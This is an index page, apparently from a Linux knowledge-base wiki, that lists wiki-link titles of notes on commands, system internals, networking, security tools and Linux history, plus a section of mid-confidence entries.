* [[What is `dbus` (D-Bus)?]]
* [[What is `dmidecode`?]]
* [[What is `dpkg-buildpackage`?]]
* [[What is `eBPF` used for in networking?]]
* [[What is `epoll` in Linux?]]
* [[What is `find -print0`?]]
* [[What is `fsck`?]]
* [[What is `grep` command? How to match multiple strings in the same line?]]
* [[What is `iftop`?]]
* [[What is `inotifywait`?]]
* [[What is `ionice`?]]
* [[What is `ip netns`?]]
* [[What is `irqbalance`?]]
* [[What is `journalctl --vacuum-time=7d`?]]
* [[What is `ldconfig`?]]
* [[What is `ldd`?]]
* [[What is `localectl`?]]
* [[What is `lsblk`?]]
* [[What is `lynis`?]]
* [[What is `mkfs` a frontend for?]]
* [[What is `mktemp`?]]
* [[What is `nftables` advantage over iptables for large rulesets?]]
* [[What is `nl` used for?]]
* [[What is `nproc`?]]
* [[What is `pam_limits`?]]
* [[What is `pam_tally2` / `pam_faillock`?]]
* [[What is `perf record` and `perf report`?]]
* [[What is `restorecon`?]]
* [[What is `screen` used for?]]
* [[What is `skopeo`?]]
* [[What is `slabtop`?]]
* [[What is `ss -i` useful for?]]
* [[What is `strace` command and how should be used? Explain example of connect to an alrea…]]
* [[What is `stress-ng`?]]
* [[What is `sysctl`?]]
* [[What is `sysdig`?]]
* [[What is `systemd-networkd-wait-online.service`?]]
* [[What is `tcpdump`?]]
* [[What is `timedatectl`?]]
* [[What is `trap` in Bash?]]
* [[What is `tshark`?]]
* [[What is `tuned`?]]
* [[What is `udevadm monitor`?]]
* [[What is `virsh`?]]
* [[What is `virt-install`?]]
* [[What is `watch`?]]
* [[What is `wget` vs `curl`?]]
* [[What is `xargs -0`?]]
* [[What is a "Kernel Panic" and how do you debug it post-mortem?]]
* [[What is a CLI? Tell me about your favorite CLI tools, tips, and hacks.]]
* [[What is a D-state (uninterruptible sleep) process, and why can't you kill it?]]
* [[What is a Daemon in Linux?]]
* [[What is a FIFO (named pipe)?]]
* [[What is a Linux "package manager"?]]
* [[What is a Linux "spin" or "flavor"?]]
* [[What is a Linux distribution (distro)?]]
* [[What is a Linux kernel LTS release?]]
* [[What is a Linux kernel module and how do you load a new module?]]
* [[What is a TAP vs TUN device?]]
* [[What is a TTY device?]]
* [[What is a Type-1 vs Type-2 hypervisor?]]
* [[What is a Unix domain socket?]]
* [[What is a VLAN?]]
* [[What is a block device?]]
* [[What is a bonding vs teaming?]]
* [[What is a bzImage?]]
* [[What is a context switch?]]
* [[What is a core dump?]]
* [[What is a firewalld rich rule?]]
* [[What is a firewalld zone?]]
* [[What is a flame graph?]]
* [[What is a gratuitous ARP?]]
* [[What is a here document (heredoc)?]]
* [[What is a here string?]]
* [[What is a kernel, and what does it do?]]
* [[What is a kprobe?]]
* [[What is a link-local address in IPv6?]]
* [[What is a loadable kernel module (LKM)?]]
* [[What is a loopback device?]]
* [[What is a man page section number system?]]
* [[What is a mount namespace used for in containers?]]
* [[What is a network bridge?]]
* [[What is a network namespace? What is it used for?]]
* [[What is a page table?]]
* [[What is a process in Linux?]]
* [[What is a process, and how do you list processes in Linux?]]
* [[What is a quick way to check if a process is in uninterruptible sleep (D state) and why…]]
* [[What is a reverse DNS lookup?]]
* [[What is a socket in Linux?]]
* [[What is a softirq?]]
* [[What is a superuser or root user? How is it different from regular users?]]
* [[What is a swap partition vs a swap file?]]
* [[What is a swap partition? What is it used for?]]
* [[What is a systemd timer?]]
* [[What is a thread in Linux?]]
* [[What is a trap in bash scripting and how is it used for cleanup?]]
* [[What is a udev rule?]]
* [[What is a virtual IP? In what situation would you use one?]]
* [[What is a zombie process?]]
* [[What is a zombie/defunct process?]]
* [[What is an ACL in Linux?]]
* [[What is an I/O scheduler?]]
* [[What is an ICMP redirect?]]
* [[What is an LVM snapshot?]]
* [[What is an SELinux security context?]]
* [[What is an archive? How do you create one in Linux?]]
* [[What is an epoch timestamp?]]
* [[What is an exit code? What exit codes are you familiar with?]]
* [[What is an incremental backup?]]
* [[What is an inode, and what does it store?]]
* [[What is an inode? How to find file's inode number and how can you use it?]]
* [[What is an orphan process?]]
* [[What is an overlay filesystem?]]
* [[What is anacron?]]
* [[What is cgroup memory.max in cgroups v2?]]
* [[What is chroot?]]
* [[What is chroot? In what scenarios would you consider using it?]]
* [[What is cloud-init?]]
* [[What is containerd?]]
* [[What is context switch?]]
* [[What is copy-on-write (COW)?]]
* [[What is dm-crypt?]]
* [[What is drive burn-in and why do data hoarders do it before trusting new drives?]]
* [[What is eBPF?]]
* [[What is escaping? What escape character is used for?]]
* [[What is ext4?]]
* [[What is fail2ban?]]
* [[What is firewalld daemon responsible for?]]
* [[What is firewalld?]]
* [[What is ftrace?]]
* [[What is iSCSI?]]
* [[What is initramfs?]]
* [[What is inode exhaustion?]]
* [[What is iowait in CPU statistics?]]
* [[What is ipvlan?]]
* [[What is job control?]]
* [[What is journald?]]
* [[What is kdump and how does it capture crash dumps during a kernel panic?]]
* [[What is kernel preemption?]]
* [[What is kernel.org?]]
* [[What is lazy umount in Linux and when would you use it?]]
* [[What is live migration?]]
* [[What is load average?]]
* [[What is log shipping?]]
* [[What is logrotate?]]
* [[What is macvlan?]]
* [[What is memory.high in cgroups v2?]]
* [[What is oom_score_adj?]]
* [[What is par2 and what problem does it solve?]]
* [[What is perf?]]
* [[What is port 123 used for?]]
* [[What is port 25 used for?]]
* [[What is port 443 used for?]]
* [[What is port 514 used for?]]
* [[What is port 53 used for?]]
* [[What is port 80 used for?]]
* [[What is port 8080 commonly used for?]]
* [[What is process accounting in Linux?]]
* [[What is process substitution?]]
* [[What is proxy ARP?]]
* [[What is rclone's crypt overlay and why is it important for offsite backups?]]
* [[What is reverse path filtering?]]
* [[What is rsyslog?]]
* [[What is runc?]]
* [[What is shell globbing and how does pattern matching work?]]
* [[What is snapraid-runner and why use it instead of bare cron?]]
* [[What is socket activation?]]
* [[What is special about the /tmp directory when compared to other directories?]]
* [[What is stored in each of the following paths?]]
* [[What is stored in ~/.ssh/known_hosts?]]
* [[What is structured logging?]]
* [[What is sudo? How do you set it up?]]
* [[What is switch_root?]]
* [[What is sysfs?]]
* [[What is syslog-ng?]]
* [[What is systemd and how does it manage Linux services?]]
* [[What is systemd's creator known for?]]
* [[What is systemd's role in the boot process?]]
* [[What is systemd-networkd?]]
* [[What is systemd-tmpfiles?]]
* [[What is systemd?]]
* [[What is telnet and why is it a bad idea to use it in production? (or at all)]]
* [[What is the "Perfect Media Server" stack and who created it?]]
* [[What is the "available" column in `free`?]]
* [[What is the # sign in a shell prompt usually indicative of?]]
* [[What is the .bashrc file?]]
* [[What is the /proc/net/tcp file format?]]
* [[What is the AUR?]]
* [[What is the BSD license?]]
* [[What is the Completely Fair Scheduler (CFS)?]]
* [[What is the D (uninterruptible sleep) state, and why can't you kill processes in it?]]
* [[What is the DNS resolution order on Linux?]]
* [[What is the Debian Social Contract?]]
* [[What is the Device Mapper in Linux, and which storage technologies depend on it?]]
* [[What is the Devuan distribution?]]
* [[What is the EDITOR and VISUAL variable?]]
* [[What is the ESP?]]
* [[What is the FHS?]]
* [[What is the GRUB_CMDLINE_LINUX variable?]]
* [[What is the HOME variable?]]
* [[What is the LANG variable?]]
* [[What is the Linux Foundation?]]
* [[What is the Linux Standard Base (LSB)?]]
* [[What is the Linux kernel mailing list (LKML)?]]
* [[What is the MTU?]]
* [[What is the OWASP Top 10 and why does it matter for DevOps?]]
* [[What is the PATH variable?]]
* [[What is the SHELL variable?]]
* [[What is the SLUB allocator?]]
* [[What is the TCP TIME_WAIT state?]]
* [[What is the TERM variable?]]
* [[What is the TLB?]]
* [[What is the UID the root user? What about a regular user?]]
* [[What is the USE Method for performance analysis?]]
* [[What is the USER variable?]]
* [[What is the VFS (Virtual Filesystem Switch)?]]
* [[What is the XDP (eXpress Data Path) framework?]]
* [[What is the Year 2038 problem?]]
* [[What is the ZFS licensing controversy?]]
* [[What is the `/proc/1/cgroup` trick for detecting containers?]]
* [[What is the `alias` command?]]
* [[What is the `arping` command?]]
* [[What is the `bmon` tool?]]
* [[What is the `bridge` command?]]
* [[What is the `chattr` command?]]
* [[What is the `chvt` command?]]
* [[What is the `column -t` command useful for?]]
* [[What is the `column` command useful for?]]
* [[What is the `conntrack` command?]]
* [[What is the `curl -v` flag useful for?]]
* [[What is the `dig` command used for?]]
* [[What is the `ethtool` command?]]
* [[What is the `file` command?]]
* [[What is the `fmt` command?]]
* [[What is the `host` command?]]
* [[What is the `hostnamectl` command?]]
* [[What is the `info` command?]]
* [[What is the `install` command?]]
* [[What is the `ip -brief addr show` command?]]
* [[What is the `iperf3` tool?]]
* [[What is the `last` command?]]
* [[What is the `logger` command?]]
* [[What is the `logrotate` `copytruncate` directive?]]
* [[What is the `lscpu` command?]]
* [[What is the `lsmod` vs `/proc/modules` relationship?]]
* [[What is the `make menuconfig` command?]]
* [[What is the `mpstat -I ALL` command useful for?]]
* [[What is the `newgrp` command?]]
* [[What is the `nmap` command?]]
* [[What is the `nmcli` command?]]
* [[What is the `nslookup` command?]]
* [[What is the `numactl` command?]]
* [[What is the `paste` command?]]
* [[What is the `perf top` command?]]
* [[What is the `rev` command?]]
* [[What is the `socat` command?]]
* [[What is the `ss -s` command useful for?]]
* [[What is the `taskset` command?]]
* [[What is the `tc` command?]]
* [[What is the `tuna` command?]]
* [[What is the `tune2fs` command?]]
* [[What is the `turbostat` command?]]
* [[What is the `umask` for a secure system?]]
* [[What is the `uptime` command?]]
* [[What is the `w` command's JCPU and PCPU columns?]]
* [[What is the `w` command?]]
* [[What is the `yes` command?]]
* [[What is the advantage of AppArmor's path-based approach?]]
* [[What is the advantage of SELinux's label-based approach?]]
* [[What is the advantage of executing the running processes in the background? How can you…]]
* [[What is the advantage of synchronizing UID/GID across multiple systems?]]
* [[What is the advantage of using /dev/disk/by-id/ instead of /dev/sdX in fstab?]]
* [[What is the basic structure of an awk program?]]
* [[What is the basic sudoers syntax?]]
* [[What is the boot sequence order from power-on to login prompt?]]
* [[What is the circular dependency problem with encryption key storage?]]
* [[What is the clone() system call?]]
* [[What is the command to start a service?]]
* [[What is the correct relationship between SnapRAID parity and backups?]]
* [[What is the correct way to edit the sudoers file?]]
* [[What is the cron syntax format?]]
* [[What is the difference between /dev/random and /dev/urandom?]]
* [[What is the difference between /etc/environment and shell profile files?]]
* [[What is the difference between /tmp and /var/tmp?]]
* [[What is the difference between /var/log/messages and /var/log/syslog?]]
* [[What is the difference between After=/Before= and Wants=/Requires= in systemd unit files?]]
* [[What is the difference between BRE, ERE, and PCRE?]]
* [[What is the difference between CPU load and utilization?]]
* [[What is the difference between DAC and MAC?]]
* [[What is the difference between DHCP and static IP configuration?]]
* [[What is the difference between Docker and Podman?]]
* [[What is the difference between Fluentd and Fluent Bit?]]
* [[What is the difference between GPT and MBR partition schemes, and which tools manage them?]]
* [[What is the difference between GPT and MBR?]]
* [[What is the difference between HTTP/1.1, HTTP/2, and HTTP/3?]]
* [[What is the difference between IPv4 and IPv6 address sizes?]]
* [[What is the difference between Layer 4 and Layer 7 load balancing?]]
* [[What is the difference between NTP and chrony?]]
* [[What is the difference between RUID, EUID, and SUID?]]
* [[What is the difference between SATA, SAS, and NVMe?]]
* [[What is the difference between SSH and SSL?]]
* [[What is the difference between TCP CLOSE_WAIT and TIME_WAIT?]]
* [[What is the difference between TCP Nagle's algorithm and TCP_NODELAY?]]
* [[What is the difference between TCP RST and FIN?]]
* [[What is the difference between TCP and UDP?]]
* [[What is the difference between VIRT, RES, and SHR in top?]]
* [[What is the difference between Wants= and Requires= in a systemd unit file?]]
* [[What is the difference between `$@` and `$*`?]]
* [[What is the difference between `/sbin/nologin`, `/bin/false`, and `/bin/true`?]]
* [[What is the difference between `adduser` and `useradd`?]]
* [[What is the difference between `crontab -e` and `/etc/crontab`?]]
* [[What is the difference between `dracut` and `mkinitcpio`?]]
* [[What is the difference between `grep -E` and `grep -P`?]]
* [[What is the difference between `ip addr` and `ip link`?]]
* [[What is the difference between `ip link set dev eth0 down` and `ifdown eth0`?]]
* [[What is the difference between `ip route` and `ip rule`?]]
* [[What is the difference between `journalctl -xe` and `journalctl -u service`?]]
* [[What is the difference between `kill -l` and `trap -l`?]]
* [[What is the difference between `less` and `more`?]]
* [[What is the difference between `nohup` and `disown`?]]
* [[What is the difference between `ps aux` and `ps -ef`?]]
* [[What is the difference between `reboot` and `shutdown -r now`?]]
* [[What is the difference between `screen` and `tmux`?]]
* [[What is the difference between `shutdown`, `halt`, `poweroff`, and `reboot`?]]
* [[What is the difference between `ss` and `netstat`?]]
* [[What is the difference between `su` and `su -`?]]
* [[What is the difference between `tar` and `gzip`?]]
* [[What is the difference between `uptime` load average and CPU utilization?]]
* [[What is the difference between `vmstat` si/so and `sar -W`?]]
* [[What is the difference between `wall` and `write`?]]
* [[What is the difference between `xfs_growfs` and `resize2fs`?]]
* [[What is the difference between a "Zombie" process and an "Orphan" process?]]
* [[What is the difference between a bind mount and a regular mount?]]
* [[What is the difference between a hub, switch, and router?]]
* [[What is the difference between a kernel oops and a kernel panic?]]
* [[What is the difference between a login shell and a non-login shell?]]
* [[What is the difference between a physical and virtual console?]]
* [[What is the difference between a pipe and a socket?]]
* [[What is the difference between a process and a thread in terms of memory?]]
* [[What is the difference between a process and a thread?]]
* [[What is the difference between a process context switch and an interrupt?]]
* [[What is the difference between a raw socket and a regular socket?]]
* [[What is the difference between a service failure and a dependency failure?]]
* [[What is the difference between an interactive and non-interactive shell?]]
* [[What is the difference between block and character devices?]]
* [[What is the difference between buffers and cache in memory?]]
* [[What is the difference between cron and systemd timers?]]
* [[What is the difference between crun and runc?]]
* [[What is the difference between dpkg and apt?]]
* [[What is the difference between encryption and hashing?]]
* [[What is the difference between fdisk, parted, and gdisk?]]
* [[What is the difference between find and locate?]]
* [[What is the difference between hard and soft NFS mount options?]]
* [[What is the difference between hard and soft limits in ulimit?]]
* [[What is the difference between initramfs and initrd?]]
* [[What is the difference between insmod and modprobe?]]
* [[What is the difference between iptables INPUT and FORWARD chains?]]
* [[What is the difference between kill and killall?]]
* [[What is the difference between kmalloc and vmalloc?]]
* [[What is the difference between man and info?]]
* [[What is the difference between multicast, broadcast, and unicast?]]
* [[What is the difference between paging and swapping?]]
* [[What is the difference between penetration testing and red teaming?]]
* [[What is the difference between rolling release and fixed release distros?]]
* [[What is the difference between rpm, yum, and dnf?]]
* [[What is the difference between single and double quotes?]]
* [[What is the difference between snap, flatpak, and AppImage?]]
* [[What is the difference between softirq and hardirq?]]
* [[What is the difference between static and dynamic linking?]]
* [[What is the difference between su and sudo?]]
* [[What is the difference between symmetric and asymmetric routing?]]
* [[What is the difference between systemd and SysVinit?]]
* [[What is the difference between the GPL, LGPL, MIT, and Apache licenses?]]
* [[What is the difference between these two commands? Will it result in the same output?]]
* [[What is the difference between user time and system time in process statistics?]]
* [[What is the easiest, safest and most portable way to remove `-rf` directory entry?]]
* [[What is the emergency.target in systemd?]]
* [[What is the ephemeral port range in Linux?]]
* [[What is the exec() family of system calls?]]
* [[What is the file /etc/resolv.conf used for? What does it contain?]]
* [[What is the fork() system call?]]
* [[What is the format of /etc/group?]]
* [[What is the format of /etc/passwd?]]
* [[What is the format of /etc/shadow?]]
* [[What is the home directory subdirectory used for?]]
* [[What is the init process?]]
* [[What is the kernel ring buffer?]]
* [[What is the key difference between cgroups v1 and v2?]]
* [[What is the loopback address in IPv6?]]
* [[What is the magic number in a Linux executable?]]
* [[What is the main advantage of using `chroot`? When and why do we use it? What is the pu…]]
* [[What is the main purpose of the intermediate certification authorities?]]
* [[What is the maximum filename length in most Linux filesystems?]]
* [[What is the maximum number of TCP connections a Linux server can handle?]]
* [[What is the maximum number of file descriptors per process?]]
* [[What is the maximum path length in Linux?]]
* [[What is the maximum size of a TCP window?]]
* [[What is the meaning of the error `maxproc limit exceeded by uid %i ...` in FreeBSD?]]
* [[What is the most common bonding mode in production?]]
* [[What is the most critical rule about the parity drive in SnapRAID?]]
* [[What is the oldest actively maintained Linux distribution?]]
* [[What is the origin of the term "free software" vs "open source"?]]
* [[What is the preferred bash shebang and why? What is the difference between executing a …]]
* [[What is the principle of least privilege?]]
* [[What is the purpose of /bin?]]
* [[What is the purpose of /dev?]]
* [[What is the purpose of /etc/securetty?]]
* [[What is the purpose of /home?]]
* [[What is the purpose of /mnt and /media?]]
* [[What is the purpose of /opt?]]
* [[What is the purpose of /run?]]
* [[What is the purpose of /sbin?]]
* [[What is the purpose of /srv?]]
* [[What is the purpose of /sys?]]
* [[What is the purpose of /tmp?]]
* [[What is the purpose of /usr?]]
* [[What is the purpose of /var?]]
* [[What is the purpose of keepalived?]]
* [[What is the purpose of sticky bit?]]
* [[What is the purpose of the /etc/hosts file?]]
* [[What is the purpose of the `/boot` partition?]]
* [[What is the purpose of the `alternatives` system?]]
* [[What is the purpose of the shebang (#!) at the start of a script?]]
* [[What is the relationship between RHEL, CentOS, Rocky Linux, and AlmaLinux?]]
* [[What is the relationship between firewalld, iptables, and nftables?]]
* [[What is the rescue.target in systemd?]]
* [[What is the result of running the following command? yippiekaiyay 1>&2 die_hard]]
* [[What is the return value of fork()?]]
* [[What is the return value of malloc?]]
* [[What is the routing table? How do you view it?]]
* [[What is the setgid bit?]]
* [[What is the setuid bit?]]
* [[What is the shebang (#!)?]]
* [[What is the sticky bit shown as in `ls -l`?]]
* [[What is the sticky bit?]]
* [[What is the subnet mask 255.255.255.0 in CIDR notation?]]
* [[What is the syscall number for `write` on x86-64 Linux?]]
* [[What is the thundering herd problem?]]
* [[What is the typical UID range for system accounts vs regular users?]]
* [[What is the use of ulimit in Unix-like systems?]]
* [[What is the well-known port for SSH?]]
* [[What is this UID 0 toor account? Have I been compromised?]]
* [[What is threat modeling and name a common framework for it.]]
* [[What is udev?]]
* [[What is umask? How to set it permanently for a user?]]
* [[What is virtio?]]
* [[What is virtual memory?]]
* [[What is vm.swappiness and how does it control memory management?]]
* [[What is vulnerability scanning and name three common tools.]]
* [[What is your favorite shell and why?]]
* [[What is zypper?]]
* [[What kernel configuration file controls module parameters at load time?]]
* [[What kernel parameter boots into single-user/rescue mode?]]
* [[What kernel parameter controls the maximum number of connections tracked by netfilter?]]
* [[What kernel parameter forces a root password reset?]]
* [[What kind of information one can find in /proc?]]
* [[What log priorities does journalctl support?]]
* [[What makes restic different from BorgBackup?]]
* [[What operating system inspired Linus to write Linux?]]
* [[What patterns should you grep for in dmesg when troubleshooting hardware or system issues?]]
* [[What programming language is the Linux kernel primarily written in?]]
* [[What question does ss -ltnp answer?]]
* [[What replaced CFS in Linux 6.6?]]
* [[What replaces `ifconfig` in the ip command suite?]]
* [[What signal does the `kill` command send by default, and how does it differ from SIGKILL?]]
* [[What signal is used by default when you run 'kill *process id*'?]]
* [[What signal number is SIGHUP?]]
* [[What signal number is SIGINT?]]
* [[What signal number is SIGKILL?]]
* [[What signal number is SIGQUIT?]]
* [[What signal number is SIGTERM?]]
* [[What ssh-keygen is used for?]]
* [[What supercomputing milestone does Linux hold?]]
* [[What symbolic representation can you pass to `chmod` to give all users execute access t…]]
* [[What system call is used for listing files?]]
* [[What systemd target replaces traditional runlevel 3, and what does it provide?]]
* [[What the awk command does? Have you used it? What for?]]
* [[What the following commands do?]]
* [[What this command does? chmod +x some_file]]
* [[What time namespaces are used for?]]
* [[What types of namespaces are there in Linux?]]
* [[What types of web servers are you familiar with?]]
* [[What virtualization solutions are available for Linux?]]
* [[What was Dirty COW?]]
* [[What was Shellshock?]]
* [[What was Ubuntu's first release?]]
* [[What was the "SCO vs IBM" lawsuit?]]
* [[What was the "Year of the Linux Desktop" meme?]]
* [[What was the Heartbleed vulnerability?]]
* [[What was the Tanenbaum-Torvalds debate about?]]
* [[What was the famous opening line of Linus Torvalds' Usenet post announcing Linux?]]
* [[What was the first Linux distribution?]]
* [[What was the first commercial Linux distribution?]]
* [[What was the first version number of the Linux kernel?]]
* [[What was the original name Linus considered for the kernel before "Linux"?]]
* [[What ways are there for creating a new empty file?]]
* [[What year did Linux first surpass 50% of the web server market?]]
* [[When is an inode's data actually freed on a Linux filesystem?]]
* [[When should you choose RHEL over Ubuntu?]]
* [[When should you choose Ubuntu LTS over RHEL?]]
* [[When to choose XFS for data drives]]
* [[When was Rust support officially added to the Linux kernel?]]
* [[When would you choose Btrfs?]]
* [[When would you choose ext4?]]
* [[When would you remount a filesystem read-only on a running system, and how?]]
* [[When you run 'ip a' you see there is a device called 'lo'. What is it?]]
* [[Where are apt repository definitions stored?]]
* [[Where are repositories stored (based on the distribution)?]]
* [[Where are systemd unit files stored?]]
* [[Where are udev rules stored?]]
* [[Where are yum/dnf repository definitions stored?]]
* [[Where can you find information on the processor (like number of CPUs)?]]
* [[Where can you find kernel's configuration?]]
* [[Where can you find the file that contains the command passed to the boot loader to run …]]
* [[Where do admin-override unit files live, and why do they take precedence over vendor un…]]
* [[Where does the name "awk" come from?]]
* [[Where does the name "grep" come from?]]
* [[Where does the name "sed" come from?]]
* [[Where is my password stored on Linux/Unix?]]
* [[Which 5 SMART attributes are most important to monitor for drive health?]]
* [[Which BSD variants are actively developed?]]
* [[Which algorithms are supported in `/etc/shadow` file?]]
* [[Which file stores information about groups?]]
* [[Which file stores users passwords? Is it visible for everyone?]]
* [[Which line numbers will be printed when running `grep '\baaa\b'` on the following content:]]
* [[Which of the following is not included in inode:]]
* [[Which way of additionally feeding random entropy pool would you suggest for producing r…]]
* [[Who created Linux, and in what year?]]
* [[Who founded Red Hat?]]
* [[Who is Greg Kroah-Hartman?]]
* [[Who is Richard Stallman, and what is his role in the Linux ecosystem?]]
* [[Who is the creator of MINIX 3?]]
* [[Why SSH is considered better than telnet?]]
* [[Why are noatime and nofail essential mount options for data hoarding drives?]]
* [[Why are there different sections in man? What is the difference?]]
* [[Why can Btrfs/ZFS still corrupt data even with checksums?]]
* [[Why do /dev/sdX device names change between reboots, and what should you use instead?]]
* [[Why do we need `mktemp` command? Present an example of use.]]
* [[Why do we need package managers? Why not simply creating archives and publish them?]]
* [[Why do we need the wait() system call?]]
* [[Why do we use `sudo su -` and not just `sudo su`?]]
* [[Why does Linux sometimes prefer killing a large cache-heavy process over a memory hog?]]
* [[Why does Stallman insist on calling the OS "GNU/Linux"?]]
* [[Why does free not show all available memory as free?]]
* [[Why is "backup on the same drive as source" not actually a backup?]]
* [[Why is ext4 the default filesystem choice for SnapRAID data drives?]]
* [[Why is fsync() one of the most dangerous syscalls?]]
* [[Why is the `ip` command preferred over `ifconfig`?]]
* [[Why must SnapRAID content files be stored on multiple different drives?]]
* [[Why must you run systemctl daemon-reload after manually editing a unit file, and what h…]]
* [[Why running a new program is done using the fork() and exec() system calls? why a diffe…]]
* [[Why should you never use btrfs RAID5 or RAID6 for data you care about?]]
* [[Why should you use UUIDs instead of /dev/sdX device names in /etc/fstab, and how do you…]]
* [[Why was UsrMerge implemented?]]
* [[Why would you want to mount servers in a rack?]]
* [[Will running sysctl -a as a regular user vs. root, produce different result?]]
* [[Wolfi is a Linux distribution designed exclusively for containers]]
* [[Write two golden rules for reducing the impact of hacked system.]]
* [[XFS cannot be shrunk; ext4 can, but XFS has no reduction operation]]
* [[You are trying to create a new file but you get "File system is full". You check with d…]]
* [[You define x=2 in /etc/bashrc and x=6 in ~/.bashrc. You then log in. What is the value …]]
* [[You deleted an active log file (e.g. /var/log/apache2/access.log) but didn't restart th…]]
* [[You executed a script and while still running, it got accidentally removed. Is it possi…]]
* [[You found a server with high CPU load but it's not clear which process is causing it. H…]]
* [[You get a call from someone claiming "my system is SLOW". What do you do?]]
* [[You have added several aliases to `.profile`. How to reload shell without exit?]]
* [[You have configured an RSA key login but your server show `Server refused our key` as e…]]
* [[You have the task of sync the testing and production environments. What steps will you …]]
* [[You have to find all files larger than 20MB. How you do it?]]
* [[You know how to see the load average, great. but what each part of it means? for exampl…]]
* [[You must run command that will be performed for a very long time. How to prevent killin…]]
* [[You need to debug a kernel panic that only happens under heavy load. What do you config…]]
* [[You need to replace a failed disk in a Linux software RAID array. What is the general p…]]
* [[You need to upgrade `ntpd` service at 200 servers. What is the best way to go about upg…]]
* [[You run dig codingshell.com and get the following result:]]
* [[You run grep $(whoami) /etc/passwd but the output is empty. What might be a possible re…]]
* [[You run ls and you get "/lib/ld-linux-armhf.so.3 no such file or directory". What is th…]]
* [[You run ssh 127.0.0.1 but it fails with "connection refused". What could be the problem?]]
* [[You run the mount command but you get no output. How would you check what mounts you ha…]]
* [[You see high "iowait" in top. What are your next three steps to identify the culprit?]]
* [[You try to create a file but it fails. Name at least three different reason as to why i…]]
* [[You try to ssh to a server and you get "Host key verification failed". What does it mean?]]
* [[You typing `CTRL + C` but your script still running. How do you stop it?]]
* [[You would like to copy a file to a remote Linux host. How would you do?]]
* [[You would like to enable IPv4 forwarding in the kernel, how would you do it?]]
* [[Your first 5 commands on a *nix server after login.]]
* [[Your friend during configuration of the MySQL server asked you: <i>Should I run `sudo m…]]
* [[Zombies cannot be killed; fix or kill the parent instead]]
* [[`df` vs `du`: filesystem-level vs directory-level disk usage]]
* [[`grub>` vs `grub-rescue>`. Explain.]]
* [[`ls -l` shows file attributes as question marks. What this means and what steps will yo…]]
* [[`rm` vs `rm -rf`: behavior and dangers]]
* [[auditd operates at kernel level with rule-based logging]]
* [[auditd: kernel-level security audit logging for Linux]]
* [[blkid: display block device attributes (UUID, type, label)]]
* [[cat command: short for concatenate]]
* [[cgroups v2 atomic kill makes container cleanup race-free]]
* [[cgroups: Google's solution for resource isolation on shared fleets]]
* [[chmod -x /bin/chmod was accidentally run. How do you fix it?]]
* [[chmod 777 grants world-writable access to all files]]
* [[chmod 777 persists in tutorials despite being almost never correct]]
* [[dd has no undo and no safety check; verify source and destination before running]]
* [[dmesg contains the definitive OOM killer diagnostic information]]
* [[docker run instantiates five namespaces and a cgroup in ~100ms]]
* [[eBPF Is the Most Powerful Forensic Tool on Modern Linux]]
* [[eBPF reveals kernel-internal latencies with nanosecond precision]]
* [[eBPF tracing capabilities: CAP_BPF and CAP_PERFMON vs CAP_SYS_ADMIN]]
* [[ext4 health checks use tune2fs; XFS checks can run mounted]]
* [[ext4 inode count is fixed at mkfs time; XFS allocates dynamically]]
* [[ext4 journal recovery leaves orphaned inodes]]
* [[ext4 vs XFS vs Btrfs: filesystem comparison]]
* [[fork() is the Unix process creation primitive]]
* [[how to list all the processes running in your system?]]
* [[ifconfig deprecated in 2009 but remained default until ~2017]]
* [[iostat await and %util reveal device saturation and latency]]
* [[ip command: modern Linux network configuration (iproute2)]]
* [[iptables vs nftables - what matters?]]
* [[journalctl: primary tool for querying the systemd journal]]
* [[libvirt: virtualization management API and toolkit]]
* [[logrotate was invented to solve log files filling disks]]
* [[ls command: list directory contents]]
* [[lsblk: display block device hierarchy]]
* [[lsof -i shows open network connections at process level]]
* [[mkfs destroys a filesystem instantly with no confirmation or undo]]
* [[nsenter joins container namespaces from host for tool-free debugging]]
* [[oom_score_adj and Kubernetes QoS determine OOM kill priority]]
* [[perf + flamegraphs: CPU profiling and hotspot identification]]
* [[perf answers CPU-bound vs I/O-bound questions that logs cannot]]
* [[perf record at 99Hz is safe for production; higher frequencies cause overhead]]
* [[perf samples at 4,000 Hz by default; production uses 99 Hz]]
* [[ping was written in one evening by Mike Muuss in 1983]]
* [[resolv.conf configures which resolvers to use and how to search domains]]
* [[seccomp: Linux syscall restriction for process sandboxing]]
* [[ss is 10× faster than netstat on busy servers]]
* [[su vs sudo: authentication source and shell behavior]]
* [[sudo logging to syslog enables post-incident forensics and audit]]
* [[sudo was created at SUNY Buffalo in 1980, syntax is notoriously complex]]
* [[sudoers syntax: policies, patterns, and visudo safety]]
* [[systemctl enable vs start: boot persistence vs immediate activation]]
* [[systemd as PID 1 controls service lifecycle and resource management on all major Linux distributions]]
* [[systemd services inherit isolated environment from startup files]]
* [[systemd standardizes service and process management across distros]]
* [[systemd vs SysVinit - what matters operationally?]]
* [[systemd-resolved: Linux local caching stub resolver]]
* [[tcp_tw_recycle breaks NAT clients and was removed in Linux 4.12]]
* [[tmpfs: RAM-backed filesystem — behavior, uses, and limits]]
* [[tmux displaced Screen as the standard terminal multiplexer]]
* [[top memory line: ignore 'free', read 'available' and 'buff/cache']]
* [[traceroute: how it works and common usage]]
* [[vm.swappiness controls cache vs. swap priority, not swap threshold]]
* [[vm.swappiness tuning for latency-sensitive servers]]
* [[vmstat columns require correct interpretation to diagnose bottlenecks]]
* [[wall broadcasts messages to all logged-in terminals]]
!! MOC — confidence mid
Atoms with confidence in the ''mid'' band (44 total).
* [[/proc/PID/io tracks disk I/O bytes; sample over time to identify trends]]
* [[Audit mixed-distro fleets with Ansible to identify configuration drift]]
* [[Audit rules that log everything create noise and hide security signals]]
* [[BPF originated as in-kernel packet filtering and evolved into eBPF]]
* [[CentOS 7 upgrade to AlmaLinux/Rocky uses automated elevation tooling]]
* [[Check which ports are open or listening on Linux]]
* [[Checking Linux memory and CPU stats]]
* [[Cloud-init standardizes provisioning across all distros]]
* [[Common PAM modules for authentication, policy, and hardening]]
* [[Common software packages have different names across distros]]
* [[Debian family prioritizes stability and community freedom]]
* [[Detecting and recovering from corrupted systemd journal files]]
* [[Diagnose disk I/O bottlenecks via process activity, latency, and RAID status]]
* [[Diagnosing memory leaks in long-running Linux processes]]
* [[Differences between Unix, Linux, BSD, and GNU]]
* [[Distro choice is a 5-10 year infrastructure commitment]]
* [[GRUB2: default Linux bootloader and minimal pre-kernel OS]]
* [[Hardened sysctl settings break containerized workloads without testing]]
* [[Independent distros offer specialized niches and philosophies]]
* [[Kernel module debugging workflow and inspection commands]]
* [[LPIC-1 certification tests Linux theory with precision and distro neutrality]]
* [[Linux boot proceeds through six sequential stages, each handing off to the next]]
* [[Linux logging is a layered system with interdependent components]]
